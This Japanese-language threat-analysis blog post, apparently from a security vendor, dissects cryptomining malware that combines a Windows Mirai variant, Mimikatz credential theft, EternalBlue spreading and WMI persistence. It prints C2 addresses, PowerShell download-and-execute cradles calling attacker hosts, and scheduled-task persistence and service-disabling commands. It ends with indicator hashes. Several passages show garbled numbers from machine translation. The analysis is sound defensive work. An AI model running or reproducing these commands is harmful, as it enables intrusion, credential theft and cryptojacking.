Quick Heal Security Labsは、過去1年間でマイニングマルウェアの増加を観察してきました。仮想通貨を獲得する方法の一つは、マイニングです。今日、仮想通貨マイニングマルウェアは、その導入の容易さと投資回収の迅速さから、サイバー犯罪者にとって格好の攻撃ベクトルとなっています。このようなマイニングマルウェアは、被害者にマルウェアを拡散させるために様々な手法を用いていることが観察されています。攻撃者は、独自のモジュールを完全に作成するのではなく、オリジナルのオープンソースソフトウェアをダウンロードして、わずかに改変するだけで済みます。
このブログ記事では、これらのオープンソースツールを基盤として攻撃シナリオが構築された事例をいくつかご紹介します。また、オープンソースツールを悪用して新たなマルウェアを構築するというトレンドが、マルウェア作成者にとってどのようなメリットをもたらしているのかについて解説します。
この傾向は、特にクリプトジャッキングの事例で顕著です。クリプトジャッキングはサイバー犯罪者にとって直接的な収入源ですが、被害者のシステムから盗み出した情報も、サイバー犯罪者にとってさらなる収益源となります。そのため、これらのオープンソースツールは、フレームワークのダウンロード、情報窃取、暗号マイニング、DNSチェンジャー、Miraiボットなど、様々な目的で利用されています。これは、類似ホストでボットネットを形成し、1秒あたりのハッシュ生成数を増やすことに大きく貢献しました。こうしたオープンソースツールは、多くの場合、GitHubなどのプラットフォームで簡単に入手できます。これらは、エクスプロイトフレームワーク、脆弱性スキャナー、パスワードスティーラー、権限エレベーター、回避ツールなどに分類できます。
感染ベクター:
攻撃の複数のコンポーネントをダウンロードするマイナーダウンローダーを受信しました。このスクリプトは、スパムメール、悪意のあるURL、フリーソフトウェアバンドラー、またはあらゆるマルウェア亜種で使用されている一般的な方法のいずれかを介してシステムに侵入する可能性があります。また、PowerShellスクリプトが最初の犯人である可能性が高いと考えています。マイナーの動作はやや再帰的な性質を持つため、システム内での最初の痕跡を確認できませんでした。
テクニカル分析:

マイナー ダウンローダーは、「xpdown.dat」という名前のファイルを作成します。このファイルには、追加のコンポーネントをダウンロードする C2 サーバーの IP アドレスがいくつか含まれています。
45.58.135.106
103.95.28.54
103.213.246.23
74.222.14.61
Ok.xmr6b.ru
次に、ドメインから次のファイルをダウンロードします。
hxxp://45.58.135.106/xpdown.dat
hxxp://45.58.135.106/down.html
hxxp://45.58.135.106/ok/64.html
CPUマイナーをダウンロードするIP(174.128.248.10)が含まれています
hxxp://45.58.135.106/kill.txt
被害者のマシン上で実行されていた場合に強制終了するプロセスの次のリストが含まれています。
lsmose.exe lsmos.exe conime.exe lsmosee.exe
1.exe lsazs.exe tasksche.exe Zationa.exe
csrs.exe shennong.bat svshpst.exe Spoolvs.exe
svchsot.exe xmrig.exe srvany.exe WinSCV.exe
csrswz.exe csrs.exe seser.exe severxxs.exe
mssecsvc.exe mssecsvr.exe dsbws.exe
次に、マルウェアはダウンロードする複数のペイロードの情報を含むテキスト ファイルをダウンロードします。
hxxp://45.58.135.106/down.txt
このdown.txtには以下のリンクが含まれています。その後、マルウェアはシステム上のTCPポート32381を開きます。
hxxp://213.183.45.201/downs.exe (C:\windows\system\downs.exe)
hxxp://66.117.6.174/ups.rar (C:\windows\system\cab.exe)
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe)
hxxp://174.128.239.250/item.dll (C:\windows\debug\item.dat)
ファイル内のリンクを見ると、次のことが分かりました。
Downs.exeは、Microsoft「CACLS」(アクセス制御リストの表示と変更を行う)の改変版です。Ups.rarはcab.exeとしてダウンロードされます。このコンポーネントは、MiraiボットネットのWindows亜種用のダウンローダーです。DNSチェンジャーとしても機能し、システムにバックドアを開きます。実行されると、IPアドレス「223.5.5.5」を持つホストのDNSエントリを変更するなど、複数の操作を実行します。このIPアドレスは中国国内に所在し、DNSのISPは「Hangzhou Alibaba Advertising Co.,Ltd.」です。

次に、GetVersionExA を呼び出して、侵入先のマシンが Windows サーバーであるかどうかを確認します。マシンが Windows サーバーである場合、C2 サーバーから update.txt をダウンロードし、「C:\windows\system\uplist.txt」にドロップします。uplist.txt には、ダウンロードおよび実行される以下のペイロードが含まれています。
hxxp://66.117.6.174/wpd.jpg (C:\windows\system\msinfo.exe)
hxxp://66.117.6.174/my1.html (C:\windows\system\my1.bat)
また、npptools.dll、64npf.sys、npf.sys、nsoak.dat、packet.dll、wpcap.dllもダウンロードします。これらは、msinfo.exeの実行中に読み込まれる、ネットワークパケット処理に使用されるファイルです。
これらのコンポーネントを1つずつ見ていきましょう。
my1.bat:
このコードには、「Squiblydoo」、「ダウンロード クレードル」、WMI イベント サブスクリプション永続化エクスプロイトなどの複数の手法を使用して、感染したマシン上で悪意のあるコンテンツを実行するため、非常にステルス性が高く、回避力に優れています。
WMI スクリプトには複数の PowerShell スクリプトが含まれています。
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('hxxp://173.208.139.170/s.txt')
このテキスト ファイルには、次のような別の PowerShell ダウンローダーが含まれています。
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('hxxp://74.222.1.38/up.txt')
「Up.txt」には、WMI クラスを使用してシステム OS、物理メモリ、実行中のプロセスのリストに関する情報を収集し、Github から Mimikatz の Powershell 形式をダウンロードするコードが含まれています。
さらに、侵害されたマシンから資格情報を盗み、ハードコードされた FTP 資格情報を使用して FTP サーバー IP:192.187.111.66 にアップロードします。

Msinfo.exe:
これは基本的にMiraiボットネットのWindows版です。そのコードの多くは、以前リークされたMiraiのソースコードと一致しています。コマンドラインパラメータ「-create」「-run」を指定して実行すると、現在のシステムのアーキテクチャ(x86、MIPS、ARMなど)が確認されます。そして、その識別情報に基づいて最新のアップデートの有無を確認し、利用可能な場合はダウンロードします。
C2 サーバーからダウンロードされた暗号化されたファイルに応じて、次のタスクを実行します。
- ブラインド SQLi (SQL インジェクション)、ブルート フォース テクニック、クラック ライブラリ、および hydra ツールを使用して実行することにより、スプレッダー メカニズムを実装します。
[クラッカー:Telnet][クラッカー:MSSQL] [クラッカー:CCTV][クラッカー:MS17010]、クラッカーWMI、クラッカーSSH
- これは、一般的なポート スキャン ツールである nmap と同様に動作する masscan (非常に高速なポート スキャナーであり、オープン ソース プロジェクト) を使用して、80,8000,445、XNUMX、XNUMX などのさまざまなポートをスキャンします。
https://github.com/robertdavidgraham/masscan
- 次のコマンドを実行して特定のサービスを無効にします。
C:\Windows\system32\cmd.exe /c taskkill /f /im csrs.exe&sc stop netprofm&sc config netprofm
開始=無効&sc stop NlaSvc&sc config NlaSvc start=disabled
- また、ネットワーク スキャンも実行し、システムのパブリック/プライベート IP と、地理的位置などのすべての関連情報を収集します。次に、攻撃者は現在のシステム IP に対して自分の IP を偽装し、masscan を使用して他のデバイスのスキャンを実行します。
これらの手順により、このシステムはボットに変換され、ボットネットワークに追加されます。そのコードはC++で開発され、以下のような多くのソースに配布されています。
チェックアップデート.cpp
クラッカー_インライン.cpp
クラッカー_スタンドアロン.cpp
CThreadPool.cpp
ロガー_Stdout.cpp
スキャナー_Tcp_Connect.cpp
スキャナー_Tcp_Raw.cpp
cService.cpp
サーバーエージェント.cpp
タスク_クラック_Ipc.cpp
タスク_クラック_Mssql.cpp
タスク_クラック_Rdp.cpp
タスク_クラック_Ssh.cpp
タスク_クラック_Telnet.cpp
タスク_クラック_Wmi.cpp
タスクスキャン.cpp WPD.cpp
基本的に、組み込みLinuxを搭載したIoTデバイスを標的としています。そのため、BusyBox(UNIXユーティリティを提供するソフトウェアスイートで、組み込みLinuxのスイスアーミーナイフとも呼ばれています)を使用して、前述の様々な方法でこれらのデバイスに侵入/クラッキングした後、リモートコマンドを実行します。
ダウンロードマイナー用VBS/BATエージェント:
まず、ペイロードが被害者のマシンの以下の場所にドロップされ、実行されます。
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe にダウンロード)
実行すると、下記の場所に VBS とバッチ ファイルをドロップし、wscript.exe を呼び出して vbs ファイルを実行し、最終的に bat ファイルを実行します。
C:\Windows\web\c3.bat
C:\Windows\web\n.vbs
bat ファイルには、いくつかのフォルダー/ファイルの属性を変更し、いくつかの特定のプロセスを強制終了し、いくつかのファイルを削除し、いくつかのフォルダー/ファイルのアクセス制御を変更し、レジストリ、タスク スケジューラ、WMI イベント サブスクリプションを介してシステム内の複数のペイロードを永続化し、さらに 445,139 個のポートをブロックしてファイアウォール ポリシーを変更するコードが多数含まれています。


xpdown.datには、C2サーバーのXNUMXつからダウンロードされるXNUMXつの追加ペイロードが含まれています。XNUMXつはディスクライタ(DLLファイル)で、「C:\Windows\debug」にドロップされます。上記のbatファイルによってタスクスケジューラにエントリが追加されているため、システム起動時に実行されます。
schtasks /create /tn “Mysa1” /tr “rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa” /ru “system” /sc onstart /F
64つ目は最終的なペイロード、つまりXMRig Monero Minerです。これはhxxp://174.128.248.10/64.rarから「C:\windows\debug\lsmos.exe」にダウンロードされたXNUMXビット実行ファイルです。
実行されると、自身を解凍し、現在の実行フォルダに 3 つのファイルをドロップします。64 つは実行可能ファイル (VM Protect でパックされた lsmose.exe -XNUMX ビット)、もう XNUMX つはマイナーの実行を成功させるのに役立つ XNUMX つの DLL (xmrstak_cuda_backend.dll と xmrstak_opencl_backend.dll) です。
私たちが観察したもう 64 つの類似したケースは、baseXNUMX でエンコードされた PowerShell スクリプトです。これは基本的に、WMI クラスに隠れて、そのステルス性と独自の機能により AV やほとんどのセキュリティ製品を回避する暗号化マイニング マルウェアです。
デコードすると次のコードが得られます。

以下はマルウェアの基本的なワークフローです。

実行時に、IPアドレス/ドメインが有効であるか、コード内で言及されていないかを確認します。有効な場合は、バナーを要求し、「SCM Event1 Log」という応答を受け取ります。

その後、マルウェアは、以下のコマンドを実行して「FilterToConsumerBinding」WMIクラスを照会します。
$a=([文字列](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding))
そして、「SCM Event1 Log」が含まれているかどうかを確認します。含まれていない場合は、Invoking Expression(IEX) によってin6.ps1 (64 ビット) またはin3.ps1 (32 ビット)をダウンロードして実行します。

in6.ps1/in3.ps1:
これらのスクリプトは64つの部分で構成されており、最初の部分はBase64でエンコードされたGzipデータストリームで、XNUMX番目の部分は難読化されたコードです。難読化解除後、コードは元のBaseXNUMXでエンコードされたスクリプトと同様に再構成されますが、追加機能も含まれています。

エンコードされた gzip には、以下に示す 4 つのファイルが含まれています。
- 「mini」 – 認証情報を盗むマルウェア「Mimikatz」
- 'mon' – Monero CPUマイナー
- 'funs' – WMI および Eternal Blue の脆弱性スキャンを介してリモート DLL を実行する機能を持つ関数のコレクション。
- 「sc」 – エターナルブルーに対して脆弱な場合、別のシステムで実行して同じペイロードをダウンロードするシェルコード。
名前空間「root\default」の下に WMI クラス「systemcore_Updater0」を作成し、mimi、mon、funs、sc、ipsu、i17 などのプロパティを追加します。

次に、filtername=”SCM Event1 Log Filter”とconsumername=”SCM Event1 Log Consumer”を設定します。
攻撃者が WMI を永続化メカニズムとして使用する場合、__EventFilter、_EventConsumer、および __FilterToConsumerBinding のインスタンスを作成する必要があり、_InstanceCreationEvent イベントが発生します。
この場合、攻撃者は次のクエリを EventFilter として使用し、それを最初の base64 でエンコードされたスクリプトにバインドします。このスクリプトは最終的に約 3 時間ごとに実行されるようになります。
SELECT * FROM __InsanceModificationEvent WITHIN 10600 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System

タスクスケジューラエントリ「sysupdater0」を削除しようとしました。また、%systemroot% 内の「sysupdater0.bat」もチェックし、存在する場合はそれも削除します。
次のコマンドを呼び出して、Windows のスリープ、休止状態、および電源プランの設定を変更します。
powercfg /CHANGE -スタンバイタイムアウト-ac 0
powercfg /CHANGE -hibernate-timeout-ac 0
powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
フィルター名が「SCM Event0 Log」と一致しない場合、名前空間「root\subscription」の下の__FilterToConsumerBindingクラス内のすべてのWMIオブジェクトを削除します。
次に、ポート番号 3333、5555、または 7777 との「ESTABLISHED」接続がある場合はプロセスを強制終了します。
実行中の「Powershell」プロセスのPIDとシステムのネットワーク接続のリストを作成します。次に、「ESTABLISHED」接続とポート番号80、14444、14433、または443を持つプロセスを確認します。そのようなプロセスが存在せず、実行中のPowerShellプロセスの数が8未満の場合、「funs」モジュールを使用してMonero Minerを実行します。その後、mimikatzを実行し、Monero Minerの実行とは無関係に認証情報をダンプします。
また、ネットワークアドレスを列挙し、アクティブなIPアドレスを確認して、「ipsu」という名前のプロパティに追加します。次に、これらのIPアドレスをスキャンして、MS17-010の脆弱性を持つシステム(Eternal Blue Scanner Scriptを使用)を特定し、それらを「i17」プロパティに保存します。最後に、 OSアーキテクチャに基づいて、in3.ps1またはin6.ps1とまったく同じようにze3.ps1またはze6.ps1をダウンロードするシェルコードを実行します。

シェルコードはPSスクリプトをダウンロードして実行し、他の脆弱なシステムに感染します。こうして、ネットワーク上の他のシステムに拡散し、マイニングを行います。
どちらのケースでも、オープンソースツールが攻撃に多用されています。Mimikatz、masscan、Eternal Blue脆弱性スキャナーは、マルウェア作成者の間で人気のツールのようです。同様の手法がランサムウェアの拡散にも使用されています。 Seqrite さまざまな検出レベルでこのような攻撃を検出します。
侵害の兆候:
790C213E1227ADEFD2D564217DE86AC9FE660946E1240B5415C55770A951ABFD
46BC86CFF88521671E70EDBBADBC17590305C8F91169F777635E8F529AC21044
AE161E582DE9EC380B3E0B295EFFD62EB8889AC35BC6631A9492CF41563ED14A
0E91F531A05C70B6CF3A8FA942B91A026A5B57069AA5B5C8DFE1EBCBC63AEAE9
EAEF82223EEB8CF404A1D46613D36B9E582304B215201B5E557DB578DD73E04E
30CDBB5C9E23758E8C74E9FDBAEE893D67D3BA42B3B09196CF98395738A67F56
7EC433DD0454553B09F11C39944E251E3EE32E4981F52F02ADC3011EB0CE6537
EA7CEDE3BCB8AD6A8E9FED3CB34F8E6746D445E2044455261EAD4E5092070408
88D338D9FC1990E3D48CDB7E704E785953271EEAB97F196BBCD0C4D2D76F7DC3
789CBE603582262914191882DEC7E6A6F1D61D062D2BDF21B8892BC5854C6196
9868C6F0F23FB81229E2EF765FF524602244384C420D14FFD5708341D85EF4CE
D256AF525680DF6A6178AD608D1700FE5178AA2F3EFE4A52DBCF7AD7EA524936
主題専門家:
プリヤンカ・シンデ、ゴータム・トリパシー、ヴァラブ・コレ
セキュリティラボ、クイックヒールテクノロジーズ株式会社



